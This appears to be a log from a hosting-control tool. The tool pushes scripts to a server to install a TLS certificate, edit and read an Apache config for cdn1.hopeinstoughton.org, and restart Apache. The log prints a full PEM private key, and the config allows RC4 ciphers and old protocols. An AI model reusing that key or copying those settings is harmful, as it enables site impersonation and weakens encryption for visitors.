35pyHdYyH4EMgQwwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
eXIyLmkubGVuY3Iub3JnLzAjBgNVHREEHDAaghhjZG4xLmhvcGVpbnN0b3VnaHRv
bi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3lyMi5jLmxlbmNyLm9yZy82NC5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7
APkAdwCUTkOH+uzB74HzGSQmqBhlAcfTXzgCAT9yZ31VNy4Z2AAAAZ9z0SauAAAE
AwBIMEYCIQCe7GmzTqslPYnP/EPTpHbr82T6D5u1xm5nrdGelTRMzgIhALPAXsQv
7Ac4Qj3B3/5OsRX9Q6CCzTcHkSTjH8vSZMlnAH4AJuNkblhpISO8ND9HJDWbN5LN
JFqI2BXTkzP9mRirRyMAAAGfc9EjsgAIAAAFACpwevUEAwBHMEUCIQCo4HdwGyJe
gd4+4CDYXLmsJyviKsDzeHL9C8ayjhTRLQIgffKNqKeirLQ6BaiA8Axo2ulbF4t3
/Bv81ocFnDLi8W0wDQYJKoZIhvcNAQELBQADggEBAFnvgkpVPX4kJRvlLpu7QZVr
V4zPu22Dbl+ywyby5JR2jbIZ5z0TIf1dstumJbPMQ+mw+p8q+XXDo7THpecHgvqI
puLf3E6Mcw64qyivjNJ7aRVMTkFNJskyVDjudeZVNjrF1WwiGEjThAW5fXVIc3kC
OKyTkkX4V2OTCOUFTzH7OxKup5NN5/4a3ynWCDD7b1rRCOlvxFJXkZ4d/8m2n0v6
Urdjaggk0DOqKkYg3Ifjg2sEp39/ouIRBc010zREaqUqfVy0F0+J4mb9V1yTpL0s
Op4xSkN+nYzeTbJ07CsFV3ZuytYRYz0mi2wtPU1WzKaPXRWZgznyB0ZK80OXTrE=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDJWLVXPMjf/57S
e+x96x5nM/a01V8mSiajM5eiP8M6HyBnMJdG8xx4N82px4spK3r2zS0KdKJ7esij
r0HBXedVzMc93qIG3SPUxVeZIBxuieMYcjxjpTfnzCRWRMud8as9R1xDnklwGJ/9
hTclKpric4EwKcUF2VctBd+JFkTt3qXh3POPAbSJBm+6v7YKJ0TbssmGrrspgwM+
AEBKeef82aiMwVxDJZc9VZChDk0SKIOlRSkhQYtkzerQetJLAlJjdKOacSVyM2DM
SfOUMKPFNjrQ2IuqUfgX33xTNtz7tm3pF7q/v1R7xuzNPbF6fu/tFXkvmwneutav
YMLXSP1/AgMBAAECggEACnq+fXrhbZ8tUgE3LtqU64Qt2/2bBTAo0Ke3xa8R5y2F
jzldNkki+zLUVnjXSl5D+SJ2rKujZU/fr31Iq9rKVpHg8NxsjHToD4Px6jtcn3g3
xKb1c64+uabLYV4VRvQ0GG1lZPORGO9/LD/Jvfp4sz6Vw774zTQhsGs01jq9fa/Y
L3BLZ3dJ+mTrGCnuWXnCq2++xdWw4Jv9Ivvehuy5zT1F3M6wymu/1zjDDZhjchys
NndGgg7LfBIClfDrMQEVvsfRVS47zI81mVOgxBvxGYs6sq35zCdi9uBdlaom0nD5
YwdwNjrqt+gSESiFvQ5vI6B89UwxK0IGrvaZfuysqQKBgQD5dK+7KsRlhbuPhE46
AmCRiLpBacI0BcpSpCQQX5c9NSjHJsiZ0dn0gN9sRak6cFQb1CMm/HFJh6s2AWY2
pRBUk5pQ9zLLanodiXpjXrSn4RnJ5hGsyR0nwokYXtkQya+p4f2IBVUKpGmf94E8
3btG5CdtMjwR0iqzYLav9zMUjQKBgQDOoO0QLpnQRmVoRkb3iMf3J9w4vX+5oGRG
tKcpoPDfUY35VWs+MZyFd+T44CCfd0RIXCqQ8QFgC2e0SYbAR29Yjx3JEZn9qFU1
HHFKuywwUMK8k13Wig7UN14C1f2Lm1a1UUQiPeU58ZK9GC/3m8aSlwero9LQKb5M
guD6Ea6FOwKBgAG7XKj5AAoQZp/1dDGU6KS6BUkE+fMwgxoVx6ZRc5RaNSFE1Km0
ukWnS2XOCgG82+ihjWjs4cB376ldUx9YAAgGSlD7ll+xKo3f8XiVJL3xoyMytLa1
Yr1u7VK8/dbO/6g3SHJUTyXWxGD27+/DPlScquVoLuCUy/UY28vW9ITVAoGBALAt
qFPe2AksrLQ/D61pc855rxy1/pyAdF+REuK8tgRDXkFUoq8Rz/pBIvtM5qPxJkho
RWb2Bw0kTFT9SCbUAc1JocTZ/Cm6iIRTbwmgE+pSQehV4nHVnxU07DSQzrFlToYk
92oWykcggdQ3Nlbx/Frq6YBgm5Qfs4E7KqYtw1cXAoGATaaoz0g6sujhw7IH6D0A
bMKjI5Wy32k651yyXYcEKteKfm7hrdiAO3kX8a7qs3EqHm7ByFpxQAuV+knGTa6s
NOCE9CqtwOsjJHCJiz+4Tv6eMeLW4LiqWbBHKquI2LHiifsz8b1j1+W/IB6H1FKx
4SDd3ueCijCFTSQ0ZefJmog=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-18 06:01:56: 

chmod 755 /tmp/pkp522688; /tmp/pkp522688; rm /tmp/pkp522688

2026-07-18 06:01:56: 


dir=/etc/ssl/certs


2026-07-18 06:01:56: 

PUT: /tmp/pkp882493

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-18 06:01:56: 

chmod 755 /tmp/pkp882493; /tmp/pkp882493; rm /tmp/pkp882493

2026-07-18 06:01:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf 48

<VirtualHost *:80>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>






2026-07-18 06:01:56: 

PUT: /tmp/pkp955395

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cdn1_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf= 1'
fi


2026-07-18 06:01:56: 

chmod 755 /tmp/pkp955395; /tmp/pkp955395; rm /tmp/pkp955395

2026-07-18 06:01:56: 




2026-07-18 06:01:56: 

PUT: /tmp/pkp631540

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-18 06:01:56: 

chmod 755 /tmp/pkp631540; /tmp/pkp631540; rm /tmp/pkp631540

2026-07-18 06:01:57: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-18 06:01:57: Establishing a connection
2026-07-18 06:01:57: 

PUT: /tmp/pkp852652

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-18 06:01:57: 

chmod 755 /tmp/pkp852652; /tmp/pkp852652; rm /tmp/pkp852652

2026-07-18 06:01:57: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-18 06:01:57: 

PUT: /tmp/pkp701907

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-18 06:01:57: 

chmod 755 /tmp/pkp701907; /tmp/pkp701907; rm /tmp/pkp701907

2026-07-18 06:01:57: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf	1656

<VirtualHost *:80>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2026-07-18 06:01:57: 

PUT: /tmp/pkp897533

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-18 06:01:57: 

chmod 755 /tmp/pkp897533; /tmp/pkp897533; rm /tmp/pkp897533

2026-07-18 06:01:57: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt	7440
d5:c6:3b:4a:3c:ba:a2:61:25:b0:d2:0f:dd:ef:75:ff

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBROjfJjAFStp0whrby7Ko6o/MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
